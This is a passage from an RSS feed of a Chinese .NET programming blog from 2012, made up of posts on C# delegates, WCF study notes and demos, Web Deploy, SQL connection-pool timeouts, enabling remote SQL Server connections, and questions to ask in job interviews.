             Console.WriteLine(&#34;去给我倒杯水&#34;);
             Console.WriteLine();
             string result=tea(&#34;去给我倒杯水&#34;);
             Thread.Sleep(5000);
             Console.WriteLine(result);
             Console.WriteLine();
         }
     }

     public class Operator
     {
         /// &lt;summary&gt;
         /// 确定是否还有水
         /// &lt;/summary&gt;
         private bool flag = true;

         public string GetTea(string spText)
         {
             if (spText == &#34;去给我倒杯水&#34;)
             {
                 if (flag)
                 {
                     return &#34;老公,茶来了&#34;;
                 }
                 else
                 {
                     return &#34;老公,没有水了&#34;;
                 }
             }
             return &#34;等待.......&#34;;
         }
     }&lt;/pre&gt;
&lt;p&gt;输出结果
&lt;img loading=&#34;lazy&#34; src=&#34;http://blog.leaver.me/images/&#34;&gt;&lt;/p&gt;
&lt;p&gt;上面使用最普通的一种方式来定义了一个委托的使用，这个例子虽然很简单，但是能够很形象的描述委托的使用。&lt;/p&gt;
&lt;p&gt;3.委托的三种形式&lt;/p&gt;
&lt;p&gt;(1).推断
推断委托例子&lt;/p&gt;
&lt;pre class=&#34;lang:c# decode:true &#34; &gt;
public delegate string TeaDelegate(string spText);

     public class DelegateSource
     {
         public void TestDelegate()
         {
             Operator op = new Operator();
             TeaDelegate tea = op.GetTea;
             Console.WriteLine(&#34;去给我倒杯水&#34;);
             Console.WriteLine();
             string result=tea(&#34;去给我倒杯水&#34;);
             Thread.Sleep(5000);
             Console.WriteLine(result);
             Console.WriteLine();
         }
     }

     public class Operator
     {
         /// &lt;summary&gt;
         /// 确定是否还有水
         /// &lt;/summary&gt;
         private bool flag = true;

         public string GetTea(string spText)
         {
             if (spText == &#34;去给我倒杯水&#34;)
             {
                 if (flag)
                 {
                     return &#34;老公,茶来了&#34;;
                 }
                 else
                 {
                     return &#34;老公,没有水了&#34;;
                 }
             }
             return &#34;等待.......&#34;;
         }
     }
&lt;/pre&gt;
&lt;p&gt;在委托定义的例子中我们看到委托的使用方法是在委托实例化的时候指定的[new DelegateName(FunctionName)],这里可能表述不是太但是代码应该看得白了。 而委托的推断，并没有new 委托这个步骤，而是直接将Function 指定给委托。&lt;/p&gt;</description>
    </item>
    <item>
      <title>通过Windows应用进行服务寄宿示例代码</title>
      <link>http://blog.leaver.me/2012/09/09/%E9%80%9A%E8%BF%87windows%E5%BA%94%E7%94%A8%E8%BF%9B%E8%A1%8C%E6%9C%8D%E5%8A%A1%E5%AF%84%E5%AE%BF%E7%A4%BA%E4%BE%8B%E4%BB%A3%E7%A0%81/</link>
      <pubDate>Sun, 09 Sep 2012 19:28:44 +0000</pubDate>
      <guid>http://blog.leaver.me/2012/09/09/%E9%80%9A%E8%BF%87windows%E5%BA%94%E7%94%A8%E8%BF%9B%E8%A1%8C%E6%9C%8D%E5%8A%A1%E5%AF%84%E5%AE%BF%E7%A4%BA%E4%BE%8B%E4%BB%A3%E7%A0%81/</guid>
      <description>&lt;p&gt;此程序部分源码来自《WCF技术剖析》。。但是。这本书上讲的非常不清楚。有些很小的地方没讲。。导致出现很多问题。。。比如ListView需要先添加列。默认的config需要删除。等等。。&lt;/p&gt;
&lt;p&gt;最终是成功了。
&lt;a href=&#34;http://leaverimage.b0.upaiyun.com/26808_o.jpg&#34;&gt;&lt;img loading=&#34;lazy&#34; src=&#34;http://blog.leaver.me/images/7390df89e6e155098b41900c68b850b956f79a4d.jpg&#34; title=&#34;wCf&#34;&gt;&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;源码下载：&lt;a href=&#34;http://dl.vmall.com/c0d8askuak&#34;&gt;Lazy.FormDemo&lt;/a&gt;&lt;/p&gt;</description>
    </item>
    <item>
      <title>WCF读书笔记(4)</title>
      <link>http://blog.leaver.me/2012/09/09/wcf%E8%AF%BB%E4%B9%A6%E7%AC%94%E8%AE%B04/</link>
      <pubDate>Sun, 09 Sep 2012 09:06:33 +0000</pubDate>
      <guid>http://blog.leaver.me/2012/09/09/wcf%E8%AF%BB%E4%B9%A6%E7%AC%94%E8%AE%B04/</guid>
      <description>&lt;p&gt;&lt;strong&gt;三种供客户端和服务端控制通信的契约介绍：&lt;/strong&gt;
1.服务契约描述了由特定服务端点所公开的操作，每一种操作，通过参数和返回值定义请求和响应消息的格式。
2.数据契约描述了复杂类型如何被串行化为消息的一部分，数据契约是服务契约中优先用来包含复杂类型的方式。
3.消息契约提供对某个soap消息格式的控制，包括支持定制消息标题和数据契约所描述的单个消息体元素。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;消息参数（Message Parameter）&lt;/strong&gt;
对于&lt;/p&gt;
&lt;pre class=&#34;lang:c# decode:true &#34; &gt;[OperationContract]
string MyOp(string s);
&lt;/pre&gt; 
&lt;p&gt;若客户端传入的参数为“Hello”，则生成的请求消息体中标记为&lt;s&gt; Hello&lt;/s&gt;,而响应返回的消息体则被标记为&lt;NewOpResult&gt;返回内容&lt;/NewOpResult&gt;,可以通过&lt;/p&gt;
&lt;pre class=&#34;lang:default decode:true &#34; &gt;[OperationContract]
[return:MessageParameter(Name=&#34;ResponseString&#34;]
string MyOp([MessageParameter(Name=&#34;RequestString&#34;)] string s);&lt;/pre&gt; 
&lt;p&gt;来定制消息中的标签。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;绑定元素&lt;/strong&gt;
实际上，每个绑定元素都会被映射到一个信道上，这样，绑定元素和信道在这个意义上可以互换。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;执行上下文（OperationContext）&lt;/strong&gt;
是System.ServiceModel命名空间的一种类型，他为服务请求提供了对执行上下文的访问，OperationContext.Current为请求在生命周期期间提供了对上下文的访问。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;WCF的实例化模式&lt;/strong&gt;
实例化控制模式服务对象被分配给请求的方式，一旦服务主机已经建立而且为每个端点创建了信道监听器，对各终端的请求已经由适当的服务对象所执行，则这些对象是基于服务类型的实例化模式的。他们是InstanceContextMode的一个枚举。
1.PerCall 服务对象为每一个对服务的调用所创建。
2.PerSession 对每一个客户端创建一个。默认是这样
3.Single 创建单一的服务对象。并由所有客户端的调用使用。
尽可能使用PerCall，大规模的部署避免PerSession并发。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;WCF的四种会话&lt;/strong&gt;
应用会话，传输会话，可靠会话，安全会话。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;信道发生器取得SessionId&lt;/strong&gt;&lt;/p&gt;
&lt;pre class=&#34;lang:c# decode:true &#34; &gt;ChannelFactory&amp;lt;IService&amp;gt; factory=new ChannelFactory&amp;lt;IService&amp;gt;(&#34;Service&#34;);
IService proxy=factory.CreateChannel();
IContextChannel obj=proxy as IContextChannel;
string s=obj.SessionId;&lt;/pre&gt;</description>
    </item>
    <item>
      <title>WCF读书笔记(3)</title>
      <link>http://blog.leaver.me/2012/09/08/wcf%E8%AF%BB%E4%B9%A6%E7%AC%94%E8%AE%B03/</link>
      <pubDate>Sat, 08 Sep 2012 08:07:37 +0000</pubDate>
      <guid>http://blog.leaver.me/2012/09/08/wcf%E8%AF%BB%E4%B9%A6%E7%AC%94%E8%AE%B03/</guid>
      <description>&lt;p&gt;&lt;strong&gt;WCF的四大行为&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;　　契约行为（Contract Behavior），操作行为（Operation Behavior），服务行为（Service Behavior），终结点行为（Endpoint Behavior）。&lt;/p&gt;
&lt;p&gt;　　如果把WCF看做是消息处理，对象激活与操作执行的管道，那么我们可以通过相应的行为来改变这个管道中某个环节的工作方式。比如加个密啊。什么的。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;单向模式（One-Way）&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;　　单向模式不需要服务器执行后返回一个回复，多用于不要求服务执行后返回一个回复，并且能够容忍日志记录的失败，只有返回类型为void的才允许设置为true，同理，ref和out参数作为另一种类型的输出。也是不允许的。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;WCF的三种异步操作&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;　　1.异步信道调用：客户端可以通过代理对象进行异步调用信道。&lt;/p&gt;
&lt;p&gt;　　2.One-Way消息交换：单向的消息交换一旦抵达传输层，马上返回，从而实现异步&lt;/p&gt;
&lt;p&gt;　　3.异步服务实现：服务端在具体实现服务操作的时候。采用异步调用的方式。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;序列化：&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;　　XMLSerializer序列化对象时，必须是公有，可读可写的属性，才能序列化。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;WCF的四大契约&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;　　服务契约（Service Contract），数据契约（Data Contract），消息契约（Message Contract），错误契约（Fault Contract）&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;信道：&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;　　信道是为了便利WCF中客户端和服务的通信来设置的。ServiceHost为每个断点创建一个信道侦听器，侦听器产生通信通道，代理则产生一个信道发生器，发生器产生客户端的信道，两种信道相互兼容并且能有效处理之间的信息。&lt;/p&gt;
&lt;p&gt;　　实际上，通信信道是有一个分层的信道栈组成-栈中的每一个信道都在消息处理过程中负责实施一个特定动作，信道栈包含一个传输信道，一个消息编码信道，和任意数量的消息处理信道，绑定则将决定了哪些信道留在信道栈中。当行为穿过信道栈时，消息处理方式将会有所改变。。&lt;/p&gt;</description>
    </item>
    <item>
      <title>WCF双工通信示例</title>
      <link>http://blog.leaver.me/2012/09/07/wcf%E5%8F%8C%E5%B7%A5%E9%80%9A%E4%BF%A1%E7%A4%BA%E4%BE%8B/</link>
      <pubDate>Fri, 07 Sep 2012 22:22:30 +0000</pubDate>
      <guid>http://blog.leaver.me/2012/09/07/wcf%E5%8F%8C%E5%B7%A5%E9%80%9A%E4%BF%A1%E7%A4%BA%E4%BE%8B/</guid>
      <description>&lt;p&gt;　　这两天在看WCF的书籍。就参考书上的代码写了这个例子。不得不说。书上有些错误的地方。。运行明显报错。改了一下。顺利通过。&lt;/p&gt;
&lt;p&gt;　　先运行Hosting。然后运行Client。可以看到效果。不过不知道为什么会有如下的一个提示：&lt;/p&gt;
&lt;p&gt;　　目标程序集不包含服务类型。可能需要调整此程序集的代码访问安全策略。&lt;/p&gt;
&lt;p&gt;　　点击确定后并不影响程序运行。。但是也是个问题。。找了一下解决方法。都没有解决。。可能是我新建契约服务的时候，删掉了默认的IService配置。&lt;/p&gt;
&lt;p&gt;//update:此问题解决了。是因为默认的app.config太多。对于典型的四层结构。需要删除契约和服务中的app.config。。&lt;/p&gt;
&lt;p&gt;　　暂时先放着吧。&lt;/p&gt;
&lt;p&gt;　　运行截图：&lt;/p&gt;
&lt;p&gt;　　&lt;a href=&#34;http://leaverimage.b0.upaiyun.com/26775_o.jpg&#34;&gt;&lt;img loading=&#34;lazy&#34; src=&#34;http://blog.leaver.me/images/35cc6b919f9d513bf612503ffcac5b3448f20f37.jpg&#34; title=&#34;wcfExample&#34;&gt;&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;　　示例代码下载：&lt;a href=&#34;http://dl.vmall.com/c0c44hq61p&#34;&gt;Lazy.Duplex&lt;/a&gt;&lt;/p&gt;</description>
    </item>
    <item>
      <title>WCF读书笔记(2)</title>
      <link>http://blog.leaver.me/2012/09/06/wcf%E8%AF%BB%E4%B9%A6%E7%AC%94%E8%AE%B02/</link>
      <pubDate>Thu, 06 Sep 2012 22:09:48 +0000</pubDate>
      <guid>http://blog.leaver.me/2012/09/06/wcf%E8%AF%BB%E4%B9%A6%E7%AC%94%E8%AE%B02/</guid>
      <description>&lt;p&gt;&lt;strong&gt;信道形状（Channel Shape）&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;　　用来表述不同的消息交换模式对消息交换双方信道（信息交换的管道）的不同要求，有什么IOutputChannel IReplyChannel IDuplexChannel之类的。。&lt;/p&gt;
&lt;p&gt;　　对于IReplyChannel，服务器返回一个RequestContext类型，作为请求和回复之间的一道桥梁，可以获取也可以返回消息。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;会话信道（Session Channel）&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;　　从状态保持的角度，信道可以分为两种类型，Datagram Channel和Session Channel，前者不和客户端绑定，后者可以识别客户端。&lt;/p&gt;
&lt;p&gt;　　对于WCF的信道层来说，信道管理器在客户端和服务端扮演不同的角色。服务端的信道管理器用于监听来自客户端的请求，而客户端的信道仅仅是单纯创建用于请求发送和回复接收的信道，因此服务端的消息管理器又称为信道监听器（Channel Listener），客户端的信道管理器则称之为信道工厂（Channel Factory）&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;绑定元素（Binding Element）&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;　　构成一个绑定对象的元素，绑定实现了通信的所有细节，通过创建信道栈实现对消息的交换，系统绑定是指服务于某种类型场景的绑定元素的有序集合。 包括什么BaseHttpBinding之类的。&lt;/p&gt;
&lt;p&gt;　　&lt;strong&gt;一个程序集&lt;/strong&gt;包括元数据，中间语言代码，和资源。程序集已经加载，将一直保存在内存中，直到应用程序域卸载。最好摒弃添加服务引用的服务调用方式，而是直接将包含服务契约的程序集部署到客户端。客户端以直接创建代理的方式进行调用。&lt;/p&gt;
&lt;p&gt;　　WCF可以看成是适配器，是CLR类型和XML两个不同世界的纽带。&lt;/p&gt;
&lt;p&gt;　　&lt;strong&gt;依赖倒置原则&lt;/strong&gt;：即抽象不应该依赖细节，细节应该依赖于抽象；即要针对接口编程，不要对实现编程。高层模块不应该依赖低层模块。两个都应该依赖抽象。&lt;/p&gt;
&lt;p&gt;　　契约关心的是我能做到。而不在于我如何做到。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;封送（Marshaling）&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;　　解决跨应用程序域对象访问的问题，需要采用一种特别的机制，那就是封送。分为按值封送和按引用封送&lt;/p&gt;
&lt;p&gt;　　按值封送实现了跨应用程序域的数据共享&lt;/p&gt;
&lt;p&gt;　　按引用封送则实现了跨应用程序域的远程调用。&lt;/p&gt;
&lt;p&gt;　　如果一个程序员频繁的使用复制粘贴编程。那就意味着设计需要重构&lt;/p&gt;</description>
    </item>
    <item>
      <title>WCF读书笔记(1)</title>
      <link>http://blog.leaver.me/2012/09/05/wcf%E8%AF%BB%E4%B9%A6%E7%AC%94%E8%AE%B01/</link>
      <pubDate>Wed, 05 Sep 2012 19:29:14 +0000</pubDate>
      <guid>http://blog.leaver.me/2012/09/05/wcf%E8%AF%BB%E4%B9%A6%E7%AC%94%E8%AE%B01/</guid>
      <description>&lt;p&gt;&lt;strong&gt;信道的分类：Transport Channel 信道&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;　　1.Message Encording Channel　　
　　2.Protocol Channel&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;信道管理器（Channel Manager）,信道管理器用于信道栈的创建和生命周期的管理&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;　　1.ChannelListener　　
　　2.ChannelFactory&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;WCF服务调用的两种典型方式&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;　　1.是借助代码生成工具svcUtil.exe导入元数据生成客户端代码和配置，添加服务引用采用的就是这种方式，工具会创建一个继承自Client&lt;TChannel&gt;的服务代理类型。&lt;/p&gt;
&lt;p&gt;　　2.是通过ChannelFactory直接创建服务代理对象进行服务调用。&lt;/p&gt;
&lt;p&gt;　　如果客户端已经进行了终结点的配置&lt;/p&gt;
&lt;p&gt;　　那么通过信道工厂进行调用的代码大致如下：　&lt;/p&gt;
&lt;pre class=&#34;lang:c# decode:true &#34; &gt;using(Channel&amp;lt;IService&amp;gt; channelFactory=new ChannelFactory&amp;lt;IService&amp;gt;(&#34;Service&#34;))　　
{　　
　　IService ise=channelFactory.CreateChannel();　　
　　using(ise as IDisposable)　　
　　{
　    　ise.MethodName();
　　}　
}&lt;/pre&gt; 
&lt;p&gt;　　WCF处理的是跨应用程序域，跨机器，跨网络的通信，所以WCF大多数时间进行网络传俗这样的IO操作，IO绑定的操作是采用异步编程（APM【Asynchronous Programming Model】）&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;消息交换模式MEP（Message Exchange Pattern）&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;　　MEP定义了参与者进行消息交换的模板，代表一系列的模板，他们定了消息的发送者和接收者，相互进行消息传递的次序，比较典型的三种&lt;/p&gt;
&lt;p&gt;　　1.Datagram 数据包模式，嘴尖的SEND/FORGET模式也叫One-Way模式，基于从一个源到另一个或多个目的地的单向消息传输，并不期待回复&lt;/p&gt;
&lt;p&gt;　　消息报的发送可以分成三个模式，分别是单目的地模式，多投模式，广播模式。 依次接受方更强大。。&lt;/p&gt;
&lt;p&gt;　　2.Request/Reply模式&lt;/p&gt;
&lt;p&gt;　　使用最多的一种模式，请求期待回复。采用同步通信方式，但也可用于异步通信&lt;/p&gt;
&lt;p&gt;　　3.Duplex 双工模式&lt;/p&gt;
&lt;p&gt;　　双方可以互发消息，实现服务器回调客户端。订阅/发布是其中一种典型的实例，TCP可以提供原生的双工通信，WCF通过WSDualHttpBinding实现了基于Http的双工通信，实际上是采用两个HTTP通道实现&lt;/p&gt;</description>
    </item>
    <item>
      <title>使用Microsoft Web Deploy技术自动部署</title>
      <link>http://blog.leaver.me/2012/09/04/%E4%BD%BF%E7%94%A8microsoft-web-deploy%E6%8A%80%E6%9C%AF%E8%87%AA%E5%8A%A8%E9%83%A8%E7%BD%B2/</link>
      <pubDate>Tue, 04 Sep 2012 14:03:18 +0000</pubDate>
      <guid>http://blog.leaver.me/2012/09/04/%E4%BD%BF%E7%94%A8microsoft-web-deploy%E6%8A%80%E6%9C%AF%E8%87%AA%E5%8A%A8%E9%83%A8%E7%BD%B2/</guid>
      <description>&lt;p&gt;　　在前段时间使用WCF的时候。部署到服务器上一直不得要领。出现各种问题。最终搞定。原文图很多，我给个摘要，大家还是原文看。因为原文写于2010年。自动部署工具已经更新至第3版。所以有些按钮得好好找找。不过相信对大家都不是难事。&lt;/p&gt;
&lt;p&gt;　　本篇文章将提供一个循序渐进的教程，教你如何在一台Web服务期上安装和启用Web Deploy。接着我们演示如何使用Visual Studio通过Web Deploy直接（将文件）发布到服务器上，以及如何使用Visual Studio创建自动部署你的应用程序的安装包。&lt;/p&gt;
&lt;p&gt;　　&lt;strong&gt;Web Deploy—为什么你会喜欢它&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;　　部署一个Web应用程序或站点包含好几个步骤。您通常需要：&lt;/p&gt;
&lt;p&gt;　　1. 拷贝文件和文件夹；&lt;/p&gt;
&lt;p&gt;　　2. 提供数据库结构，或许还要生成一些数据库数据；&lt;/p&gt;
&lt;p&gt;　　3. 在文件和文件夹上设置相应的读写和安全访问控制列表；&lt;/p&gt;
&lt;p&gt;　　4. 安装和配置SSL认证；&lt;/p&gt;
&lt;p&gt;　　5. 部署其它杂七杂八的依赖项（事件日志，GAC库，COM对象等等）。&lt;/p&gt;
&lt;p&gt;　　手工执行上面的步骤又累又慢又危险（因为手工部署总是容易出错）。使用自动化流程，可以让你在一台服务器上快速维护和部署应用程序，减少出错的几率，并极大加快你在应用程序上的改动放到作业服务器上的周期。&lt;/p&gt;
&lt;p&gt;　　去原文看看吧。&lt;a href=&#34;http://blog.joycode.com/scottgu/archives/2010/11/03/116148.joy&#34;&gt;使用Microsoft Web Deploy技术自动部署&lt;/a&gt;&lt;/p&gt;</description>
    </item>
    <item>
      <title>超时时间已到，但是尚未从池中获取连接</title>
      <link>http://blog.leaver.me/2012/09/03/%E8%B6%85%E6%97%B6%E6%97%B6%E9%97%B4%E5%B7%B2%E5%88%B0%E4%BD%86%E6%98%AF%E5%B0%9A%E6%9C%AA%E4%BB%8E%E6%B1%A0%E4%B8%AD%E8%8E%B7%E5%8F%96%E8%BF%9E%E6%8E%A5/</link>
      <pubDate>Mon, 03 Sep 2012 08:47:31 +0000</pubDate>
      <guid>http://blog.leaver.me/2012/09/03/%E8%B6%85%E6%97%B6%E6%97%B6%E9%97%B4%E5%B7%B2%E5%88%B0%E4%BD%86%E6%98%AF%E5%B0%9A%E6%9C%AA%E4%BB%8E%E6%B1%A0%E4%B8%AD%E8%8E%B7%E5%8F%96%E8%BF%9E%E6%8E%A5/</guid>
      <description>&lt;p&gt;　　前段时间数据库的时候，出现这个问题。一般是读到20多万条的时候。会出现这个问题。&lt;/p&gt;
&lt;p&gt;　　找了一下。主要是这两个问题：&lt;/p&gt;
&lt;p&gt;　　一、看所有open的连接是否都close了。&lt;/p&gt;
&lt;p&gt;　　二、如果访问量很大，加上Max   Pool   Size=512这一句，当然这是要以损失系统性能为代价的！&lt;/p&gt;
&lt;p&gt;　　我查了一下。数据库连接所有的open都关闭了。 max pool size也确实加上了。但是。问题依旧。。&lt;/p&gt;
&lt;p&gt;　　哦，还有的说在数据库连接字串中添加Connect Timeout=500，也就是设置连接超时更长一些。问题依旧。。&lt;/p&gt;
&lt;p&gt;　　后来看到一篇文章中说：&lt;/p&gt;
&lt;p&gt;　　DataReader是独占连接 的，每个DataReader都要占用一个连接。当然这个情况是偶尔出现的，所以会很长时间出现一次，因为只有同时有超过连接池最大连接数量的并发操作才 会发生。而且你加大并发数量只能暂时缓解问题。&lt;/p&gt;
&lt;p&gt;　　文中建议用使用dataset来读取。然后我就把读取数据中使用DataReader的地方全部用DataAdapter和DataSet来获取数据库数据，因为DataSet非独占。会将数据保存在内存中，一次连接后释放，问题解决。&lt;/p&gt;
&lt;p&gt;　　记录一下。&lt;/p&gt;</description>
    </item>
    <item>
      <title>面试时，如何向公司提问？</title>
      <link>http://blog.leaver.me/2012/09/02/%E9%9D%A2%E8%AF%95%E6%97%B6%E5%A6%82%E4%BD%95%E5%90%91%E5%85%AC%E5%8F%B8%E6%8F%90%E9%97%AE/</link>
      <pubDate>Sun, 02 Sep 2012 09:46:33 +0000</pubDate>
      <guid>http://blog.leaver.me/2012/09/02/%E9%9D%A2%E8%AF%95%E6%97%B6%E5%A6%82%E4%BD%95%E5%90%91%E5%85%AC%E5%8F%B8%E6%8F%90%E9%97%AE/</guid>
      <description>&lt;p&gt;　　原文来自&lt;a href=&#34;http://www.ruanyifeng.com/blog/2012/08/questions_you_need_to_ask_in_an_interview.html&#34;&gt;阮一峰的网络日志&lt;/a&gt;
以前，我写过一篇《&lt;a href=&#34;http://www.ruanyifeng.com/blog/2010/12/how_to_interview_a_programmer.html&#34;&gt;如何面试程序员&lt;/a&gt;》，探讨公司如何向应聘者提问。&lt;/p&gt;
&lt;p&gt;　　今天，我看到硅谷招聘经理Steve Buckley的一篇文章，正好探讨了同一件事的另一面：应聘者如何向公司提问。&lt;/p&gt;
&lt;p&gt;　　很多人将面试看作一种单向选择，事实上，面试是一种双向选择：不仅是公司挑选你，也是你挑选公司。面试就是为双方提供互相了解的机会，公司在评估你，你也在评估公司。&lt;/p&gt;
&lt;p&gt;　　面试官也知道这一点，所以他们有心理准备，期待你提出问题，并且会做出回答。所以，面试时不要浪费向公司提问的机会。而且，你主动提问，表明你比较重视这个职位，会加深面试官对你的印象，可能会提高面试的成功率。&lt;/p&gt;
&lt;p&gt;　　有一些注意点，你需要知道：&lt;/p&gt;
&lt;p&gt;　　1. 面试之前，一定要做准备，多了解公司的情况。　　
　　2. 你提出的问题，应该围绕&amp;quot;这份工作是否合适我&amp;quot;这个中心点，其他与应聘关系不大的问题，不宜多问。　　
　　3. 提问的时候，要自然放松，不要害羞，就把它当作普通的聊天。你要表现出对公司的真诚兴趣。　　
　　4. 提问要直接了当，不要绕圈子。提出问题之后，你要保持安静，让面试官多说话。　　
　　5. 面试官回答的时候，你可以做笔记，或者事先询问能不能做。笔记必须简短，你的大部分时间，要用来全神贯注倾听面试官的回答，并与其有眼神的交流。　　
　　6. 面试结束后一周内，最好打一个电话或发一封邮件，了解公司对你的反馈意见。即使面试失败，你不妨也问一下原因，这会有助于你以后的面试。&lt;/p&gt;
&lt;p&gt;　　下面是一些你可以问的典型问题。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;问题一：你们为什么要招聘这个职位？&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;　　Q1: Why are you currently recruiting for this position?&lt;/p&gt;
&lt;p&gt;　　这个问题会使得面试官开始谈论当前的项目，或者谈论前一位离职人员。无论哪种情况，都会让你了解，一些与你最密切相关的公司情况。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;问题二：你们的新员工多吗？&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;　　Q2: Do you have many new staffs?&lt;/p&gt;
&lt;p&gt;　　这个问题起一个过渡作用，使得谈话导向公司内部的情况。但是，它本身也能说明一些问题。如果公司成立已经超过四年，又没有新项目，但是新员工却很多，这往往说明公司文化不是很健康。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;问题三：你们公司（团队）目前面临的最大挑战是什么？&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;　　Q3: What are the biggest challenges your team are facing right now?&lt;/p&gt;
&lt;p&gt;　　如果面试官开始谈论一些具体的技术问题，这很好；如果他的回答是项目时间紧迫，或者需要更多的资金，那你就要小心一点了，公司管理上面可能有问题。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;问题四：什么新技术（编程语言）是你们未来希望采用的？&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;　　Q4: What technologies/languages would you like to see your team adapt to that aren&amp;rsquo;t currently being utilised?&lt;/p&gt;
&lt;p&gt;　　如果你申请的是技术职位，面试官恰巧又是技术负责人，那么这个问题将会非常合适。你会对公司的技术路线有所了解和准备，一旦入职，就能更好地适应公司的需要。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;问题五：在业务方面，有没有什么地方是你们不满意的，未来想要改进的？&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;　　Q5: Few companies, if any, are 100% satisfied with the way their business is operating. If you could simply flick a switch to fix it, what one thing would you change?&lt;/p&gt;
&lt;p&gt;　　很少有公司，会百分之百满意自身的现状，即使那些状况很良好的公司也是如此。这个问题可以让你对公司管理层的关注重点和担忧之处，有所了解。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;问题六：我申请的这个职位，对公司的业务有何影响？&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;　　Q6: If you struggle to fill the position I have applied for, what impact would that have on the business?&lt;/p&gt;
&lt;p&gt;　　这个问题会让你了解自己在公司的角色，以及你的岗位对公司是否重要。&lt;/p&gt;
&lt;p&gt;　　（完）&lt;/p&gt;</description>
    </item>
    <item>
      <title>SqlServer 2008开启远程连接</title>
      <link>http://blog.leaver.me/2012/08/20/sqlserver-2008%E5%BC%80%E5%90%AF%E8%BF%9C%E7%A8%8B%E8%BF%9E%E6%8E%A5/</link>
      <pubDate>Mon, 20 Aug 2012 02:48:22 +0000</pubDate>
      <guid>http://blog.leaver.me/2012/08/20/sqlserver-2008%E5%BC%80%E5%90%AF%E8%BF%9C%E7%A8%8B%E8%BF%9E%E6%8E%A5/</guid>
      <description>&lt;p&gt;　　对于需要外部访问数据库的操作，需要开启sql server的远程连接。没经验的我等Google之。。大部分操作按照&lt;a href=&#34;http://jingyan.baidu.com/article/6c67b1d6ca06f02787bb1ed1.html/&#34;&gt;SQL Server 2008 R2如何开启数据库的远程连接&lt;/a&gt;来操作&lt;/p&gt;
&lt;p&gt;　　但是。有一些很小的细节需要注意。我的数据库是Sql Server 2008 Express版。这个是VS自带的。为了管理方便，可以安装&lt;a href=&#34;http://www.microsoft.com/zh-cn/download/details.aspx?id=7593&#34;&gt;SQL Server® 2008 Management Studio Express&lt;/a&gt; 安装过程不多说。安装完成后，直接打开&lt;/p&gt;
&lt;p&gt;　　&lt;a href=&#34;http://leaverimage.b0.upaiyun.com/26088_o.jpg&#34;&gt;&lt;img loading=&#34;lazy&#34; src=&#34;http://blog.leaver.me/images/e03ce8654db7fcc6eb18d317acd95e7e78f974e8.jpg&#34; title=&#34;login&#34;&gt;&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;　　服务器名称默认是空的。。“.”好像是不行的，这时候点击右边箭头。更多，本地和远程服务器。在远程服务器里可以找到。点击就可以了。&lt;/p&gt;
&lt;p&gt;　　我按照文章改完。sa还是登不上。。然后又试了一些&lt;/p&gt;
&lt;p&gt;　　&lt;a href=&#34;http://leaverimage.b0.upaiyun.com/26089_o.jpg&#34;&gt;&lt;img loading=&#34;lazy&#34; src=&#34;http://blog.leaver.me/images/245e1caa369d6d4473c100bb48e6bcb069793727.jpg&#34; title=&#34;role&#34;&gt;&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;　　如上图右键sa，属性，常规里设置sa密码。不要太简单。状态里的登录选项设为启用。ok。。我碰上的问题就这几个。&lt;/p&gt;</description>
    </item>
    <item>
      <title>未能从程序集“System.ServiceModel 错误</title>
      <link>http://blog.leaver.me/2012/08/20/%E6%9C%AA%E8%83%BD%E4%BB%8E%E7%A8%8B%E5%BA%8F%E9%9B%86system.servicemodel-%E9%94%99%E8%AF%AF/</link>
      <pubDate>Mon, 20 Aug 2012 02:36:44 +0000</pubDate>
      <guid>http://blog.leaver.me/2012/08/20/%E6%9C%AA%E8%83%BD%E4%BB%8E%E7%A8%8B%E5%BA%8F%E9%9B%86system.servicemodel-%E9%94%99%E8%AF%AF/</guid>
      <description>&lt;p&gt;　　今天在把wcf发布到远程服务器后。出现了这个错误。&lt;/p&gt;
&lt;p&gt;　　确运行报告“未能从程序集“System.ServiceModel, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089”中加载类型“System.ServiceModel.Activation.HttpModule”。”。&lt;/p&gt;
